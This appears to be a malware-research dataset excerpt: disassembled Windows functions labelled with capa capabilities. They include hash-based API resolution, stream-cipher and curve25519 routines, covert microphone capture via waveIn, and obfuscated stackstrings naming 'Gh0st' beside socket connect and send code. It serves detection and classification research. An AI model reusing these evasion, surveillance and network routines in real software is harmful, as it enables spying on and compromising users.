joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48e004]
jne 0x40100a
repz ret
jmp fcn.004019b2

Function at 0x406f48
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004046a4
and dword [ebp - 4], 0
cmp dword [0x4900f8], 0
mov ebx, eax
jne 0x406ff9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4070aa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4070aa
push eax
call fcn.00404632
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4900f8], eax
call esi
push eax
call fcn.00404632
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4900fc], eax
call esi
push eax
call fcn.00404632
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x490100], eax
call esi
push eax
call fcn.00404632
pop ecx
mov dword [0x490108], eax
test eax, eax
je 0x406ff9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404632
pop ecx
mov dword [0x490104], eax
mov eax, dword [0x490104]
cmp eax, ebx
je 0x407051
cmp dword [0x490108], ebx
je 0x407051
push eax
call fcn.004046ad
push dword [0x490108]
mov esi, eax
call fcn.004046ad
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407051
test edi, edi
je 0x407051
call esi
test eax, eax
je 0x407048
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407048
test byte [ebp - 0xc], 1
jne 0x407051
or dword [ebp + 0x10], 0x200000
jmp 0x40708a
mov eax, dword [0x4900fc]
cmp eax, ebx
je 0x40708a
push eax
call fcn.004046ad
pop ecx
test eax, eax
je 0x40708a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40708a
mov eax, dword [0x490100]
cmp eax, ebx
je 0x40708a
push eax
call fcn.004046ad
pop ecx
test eax, eax
je 0x40708a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4900f8]
call fcn.004046ad
pop ecx
test eax, eax
je 0x4070aa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4070ac
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x487600
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
cmp edi, 0x19f
jne 0x487619
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
test edi, edi
jle 0x487662
nop
lea ecx, [esp + 8]
mov dword [esp], 5
mov dword [esp + 8], 0
call fcn.004875f0
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp], eax
nop
sub dword [esp], 0x46
movsx eax, byte [edx + esi]
mov dword [esp + 4], eax
mov eax, dword [esp]
xor dword [esp + 4], eax
mov cl, byte [esp + 4]
mov byte [edx + esi], cl
inc edx
cmp edx, edi
jl 0x487620
cmp edi, 0x2d
jne 0x48767b
mov dword [0x2b8e318], 0xa62e7790
mov dword [0x2b8e31c], 0xffffffff
add esp, 0xc
ret
Function at 0x40264f
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push 2
push 0xffffffffffffffff
push 0xffffff1c
push dword [ebp + 8]
call fcn.00405424
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push dword [ebp + 8]
call fcn.00405424
add esp, 0x10
pop ebp
ret

Function at 0x402b92
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
lea eax, [ebp - 4]
push eax
push esi
call fcn.00404817
pop ecx
add eax, eax
push eax
push esi
push dword [0x410df8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402bc6
xor eax, eax
jmp 0x402bf4
push dword [ebp + 0xc]
push dword [0x410df0]
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
test eax, eax
je 0x402bc2
push 0
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push dword [0x410df0]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403d46
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
movzx eax, si
shr esi, 0x10
mov dword [ebp + 8], eax
xor eax, eax
mov bx, word [ebp + 8]
push edi
mov dword [ebp - 4], esi
mov di, si
mov dword [ebp - 8], 0x40
sub eax, 0x61c88647
movzx edx, ax
mov dword [ebp - 0xc], eax
mov ax, di
shr ax, 5
lea ecx, [edx + esi]
shl esi, 4
xor cx, ax
xor cx, si
add bx, cx
mov word [ebp + 8], bx
mov ax, bx
mov ecx, dword [ebp + 8]
add edx, ecx
shr ax, 5
xor dx, ax
shl ecx, 4
xor dx, cx
add di, dx
sub dword [ebp - 8], 1
mov word [ebp - 4], di
je 0x403dbd
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
jmp 0x403d6e
mov al, byte [ebp + 8]
pop edi
pop esi
and al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404158
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0x40416e
imul eax, eax, 0x21
inc edx
movzx ecx, cl
add eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x404165
pop ebp
ret

Function at 0x404176
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0x40418e
imul eax, eax, 0x21
lea edx, [edx + 2]
movzx ecx, cx
add eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x404183
pop ebp
ret

Function at 0x40577c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov eax, esi
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jb 0x40578a
mov ecx, esi
mov dword [ebp - 4], esi
mov eax, ecx
mov bl, byte [ecx + edi]
xor edx, edx
movzx ecx, bl
div dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
movzx eax, byte [edx + eax]
add eax, esi
add ecx, eax
movzx esi, cl
mov ecx, dword [ebp - 4]
mov al, byte [esi + edi]
mov byte [ecx + edi], al
inc ecx
mov byte [esi + edi], bl
mov dword [ebp - 4], ecx
cmp ecx, 0x100
jb 0x40579a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4057d4
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
mov eax, esi
test edi, edi
je 0x405840
push ebx
mov ebx, dword [ebp + 0x14]
sub dword [ebp + 0xc], ebx
mov edx, dword [ebp + 8]
inc eax
movzx ecx, al
mov eax, dword [ebp + 8]
mov dword [ebp + 0x10], ecx
mov ebx, dword [ebp + 0x10]
mov cl, byte [ecx + eax]
movzx eax, cl
add eax, esi
movzx esi, al
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
mov byte [ebx + edx], al
mov eax, edx
mov edx, ebx
mov ebx, dword [ebp + 0x14]
mov byte [esi + eax], cl
movzx eax, byte [edx + eax]
mov edx, dword [ebp + 0xc]
movzx ecx, cl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp + 8]
mov al, byte [eax + ecx]
xor al, byte [edx + ebx]
mov byte [ebx], al
inc ebx
mov eax, dword [ebp + 0x10]
mov dword [ebp + 0x14], ebx
sub edi, 1
jne 0x4057eb
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x4058d7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
not ecx
test edx, edx
je 0x405911
push esi
mov esi, dword [ebp + 0xc]
push edi
movzx eax, byte [esi]
dec edx
push 8
xor ecx, eax
inc esi
pop edi
mov eax, ecx
shr ecx, 1
and eax, 1
not eax
inc eax
and eax, 0xedb88320
xor ecx, eax
sub edi, 1
jne 0x4058f5
test edx, edx
jne 0x4058eb
pop edi
pop esi
not ecx
mov eax, ecx
pop ebp
ret

Function at 0x405a68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x405a8a
push edi
mov edi, dword [ebp + 0xc]
mov edx, eax
sub edi, eax
mov cl, byte [edi + edx]
xor byte [edx], cl
inc edx
sub esi, 1
jne 0x405a7e
pop edi
pop esi
pop ebp
ret
Function at 0x405fbc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, 0x30b
push ebx
push esi
mov esi, dword [ebp + 8]
shl esi, 0x10
xor esi, dword [ebp + 8]
xor esi, 0xf610a467
mov eax, esi
shr eax, 0x15
push edi
cmp eax, ecx
ja 0x406037
je 0x406030
sub eax, 0x13
je 0x406029
sub eax, 0x150
je 0x406022
sub eax, 0x55
je 0x40601b
sub eax, 0x20
je 0x406014
sub eax, 0x11
je 0x40600d
sub eax, 0x116
jne 0x406066
mov eax, 0x405ddc
jmp 0x40608c
mov eax, fcn.00405ed7
jmp 0x40608c
mov eax, 0x405e4e
jmp 0x40608c
mov eax, 0x406171
jmp 0x40608c
mov eax, 0x406138
jmp 0x40608c
mov eax, 0x405e87
jmp 0x40608c
mov eax, 0x405f08
jmp 0x40608c
sub eax, 0x311
je 0x406087
sub eax, 0x143
je 0x406080
sub eax, 0x12
je 0x406079
sub eax, 0x161
je 0x406072
sub eax, 0xe1
je 0x40606b
sub eax, 0x128
jne 0x406066
mov eax, 0x4061aa
jmp 0x40608c
mov eax, dword [ebp + 8]
jmp 0x40608c
mov eax, 0x405e15
jmp 0x40608c
mov eax, 0x4060ff
jmp 0x40608c
mov eax, 0x405ecb
jmp 0x40608c
mov eax, 0x4061e3
jmp 0x40608c
mov eax, 0x405e93
call eax
mov edi, eax
test edi, edi
je 0x4060e5
mov ecx, dword [edi + 0x3c]
and esi, 0x1fffff
xor ebx, ebx
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x20]
add eax, edi
mov dword [ebp - 8], eax
add edx, edi
mov eax, dword [ecx + 0x1c]
add eax, edi
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x18]
mov dword [ebp + 8], eax
test eax, eax
je 0x4060e5
mov eax, dword [edx + ebx*4]
add eax, edi
push eax
call fcn.00405cac
and eax, 0x1fffff
pop ecx
cmp eax, esi
je 0x4060ee
mov edx, dword [ebp - 4]
inc ebx
cmp ebx, dword [ebp + 8]
jb 0x4060c7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x4060e7

Function at 0x4066b0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x20
push esi
call fcn.00405986
pop ecx
pop ecx
test eax, eax
je 0x4066d5
mov al, byte [esi + 0x1f]
and byte [esi], 0xf8
and al, 0x3f
or al, 0x40
mov byte [esi + 0x1f], al
xor eax, eax
inc eax
pop esi
pop ebp
ret
Function at 0x4066f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x406797
push ebx
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x44]
mov eax, ebx
sub eax, ecx
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0xc]
sub eax, ecx
push edi
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x44]
xor edi, edi
push eax
call fcn.00406859
mov eax, dword [ebp + 8]
pop ecx
pop ecx
add dword [eax + 0x20], 1
jne 0x406738
inc dword [eax + 0x24]
cmp esi, 0x40
jbe 0x40676f
mov ebx, dword [ebp - 4]
mov edx, edi
mov edi, dword [ebp + 0x14]
lea ecx, [ebp - 0x44]
add ecx, edx
push 0x40
mov al, byte [ebx + ecx]
xor al, byte [ecx]
inc edx
mov byte [edi + ecx], al
pop eax
cmp edx, eax
jb 0x406745
mov ebx, dword [ebp + 0x10]
sub esi, eax
add dword [ebp + 0x14], eax
add ebx, eax
add dword [ebp + 0xc], eax
add dword [ebp - 4], eax
mov dword [ebp + 0x10], ebx
jmp 0x40671c
test esi, esi
je 0x406795
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x44]
sub eax, ecx
sub ebx, ecx
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x44]
add ecx, edi
mov al, byte [eax + ecx]
xor al, byte [ecx]
inc edi
mov byte [ebx + ecx], al
mov eax, dword [ebp + 0xc]
cmp edi, esi
jb 0x406780
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4067bb
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x100
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push esi
mov eax, dword [ecx]
mov dword [edx + 4], eax
mov eax, dword [ecx + 4]
mov dword [edx + 8], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0xc], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x10], eax
jne 0x4067ef
add ecx, 0x10
mov esi, str.expand_32_byte_kexpand_16_byte_k
jmp 0x4067f4
mov esi, 0x40ce48
mov eax, dword [ecx]
mov dword [edx + 0x2c], eax
mov eax, dword [ecx + 4]
mov dword [edx + 0x30], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0x34], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x38], eax
mov eax, dword [esi]
mov dword [edx], eax
mov eax, dword [esi + 4]
mov dword [edx + 0x14], eax
mov eax, dword [esi + 8]
mov dword [edx + 0x28], eax
mov eax, dword [esi + 0xc]
mov dword [0x410f54], esi
mov dword [edx + 0x3c], eax
pop esi
pop ebp
ret
Function at 0x10001600
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov esi, ecx
push str.ResumeThread
push str.KERNEL32.dll
mov dword [ebp - 0xc], esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [ebp - 0x14], eax
call ebx
push eax
call edi
mov dword [ebp - 8], eax
mov eax, dword [0x10020cf0]
push str.waveInGetNumDevs
push eax
call edi
call eax
test eax, eax
jne 0x1000165a
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10020cf0]
push str.waveInOpen
push ecx
call edi
lea edx, [ebp - 4]
mov ebx, eax
push edx
push 4
push esi
push 0x10001890
push 0
push 0
mov dword [ebp - 4], 0
call dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x18]
push 0x20000
push 0
add esi, 0x46
push ecx
push esi
push 0xffff
push eax
mov dword [ebp - 8], eax
call ebx
test eax, eax
je 0x100016b1
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x10020cf0]
push str.waveInPrepareHeader
push edx
call edi
mov dword [ebp - 0x10], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edi, dword [ebp - 0xc]
mov ebx, 2
lea esi, [edi + 0x30]
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov ecx, dword [ebp - 8]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov edx, dword [ecx]
push eax
push edx
call dword [ebp - 0x10]
add esi, 4
dec ebx
jne 0x100016d7
mov eax, dword [0x10020cf0]
push str.waveInAddBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebp - 8]
push edx
mov edx, dword [ecx]
push edx
call eax
mov eax, dword [edi + 0x2c]
push eax
call dword [ebp - 0x14]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [0x10020cf0]
push str.waveInStart
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
call dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov byte [ecx + 0x44], al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002220
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019b1c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1bc
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x34], esi
lea ecx, [esi + 4]
call fcn.10001c80
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], ebx
call fcn.10001c80
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001c80
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001c80
mov al, 0x65
mov byte [ebp - 4], 3
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x28], al
mov al, 0x6c
mov dword [esi], 0x1001b2d8
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], bl
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov al, 0x65
mov cl, 0x74
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], cl
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x45
mov byte [ebp - 0x15], 0x76
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea edx, [ebp - 0x1c8]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [ebp - 0x34], 0x47
mov byte [ebp - 0x33], 0x68
mov byte [ebp - 0x32], 0x30
mov byte [ebp - 0x31], 0x73
mov edx, dword [ebp - 0x34]
lea ecx, [esi + 0xb0]
add esp, 4
mov al, 0x74
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100024f0
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
push str.GetLastError
push str.KERNEL32.dll
mov dword [ebp - 8], esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.ResetEvent
push str.KERNEL32.dll
mov dword [ebp - 0xc], eax
call edi
push eax
call ebx
mov ecx, esi
mov ebx, eax
call fcn.10002ab0
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x1001e0a0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call ebx
push 0x1001e0a0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esi + 0xa8], eax
call ebx
cmp dword [esi + 0xa8], 0xffffffff
jne 0x1000258e
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [ebp + 8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov esi, eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
test esi, esi
jne 0x100025bf
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x1001e0a0
mov word [ebp - 0x28], 2
call edi
mov edx, dword [ebp + 0xc]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x26], ax
call ebx
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 0x24], edx
call dword [ebp - 0xc]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x28]
push 0x10
push eax
mov ecx, dword [esi + 0xa8]
push ecx
call dword [ebp + 8]
cmp eax, 0xffffffff
jne 0x1000263f
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call dword [ebp - 0xc]
push 0x30
mov byte [ebp - 1], 1
call dword [sym.imp.MSVCRT.dll_putchar]
mov eax, dword [esi + 0xa8]
add esp, 4
lea edx, [ebp - 1]
push 1
push edx
push 8
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x100026e0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov dword [ebp - 0x18], 1
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov dword [ebp - 0x14], 0xea60
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [ebp - 0x10], 0x1388
call esi
mov eax, dword [ebp - 8]
add esp, 4
lea ecx, [ebp - 1]
lea edx, [ebp - 0x18]
push 0
push 0
push ecx
mov ecx, dword [eax + 0xa8]
push 0
push 0
push 0xc
push edx
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call esi
mov esi, dword [ebp - 8]
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002710
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000ff60
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10002ab0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SetEvent
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CancelIo
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.InterlockedExchange
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov ebx, eax
mov word [esp + 0x14], 1
mov word [esp + 0x16], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x10]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [esp + 0x18]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call ebx
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call ebp
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10002d20
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push str.Sleep
push str.KERNEL32.dll
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
mov ebx, dword [esp + 0x20]
cmp edi, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x10], edi
jb 0x10002dde
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x28], 0
push 0x1001e0a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebp
test edi, edi
jg 0x10002dad
mov eax, dword [esp + 0x28]
inc eax
cmp eax, 0xf
mov dword [esp + 0x28], eax
jl 0x10002d72
cmp dword [esp + 0x28], 0xf
je 0x10002e14
mov edx, dword [esp + 0x20]
push 0
add edx, edi
add ebx, esi
mov dword [esp + 0x24], edx
call ebp
push 0xa
call dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10002d6a
mov ebp, dword [esp + 0x14]
mov edi, eax
test edi, edi
jle 0x10002e08
xor esi, esi
mov edx, dword [ebp + 0xa8]
push 0
push edi
push ebx
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002dff
inc esi
cmp esi, 0xf
jl 0x10002de4
cmp esi, 0xf
je 0x10002e14
add dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
je 0x10002e17
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc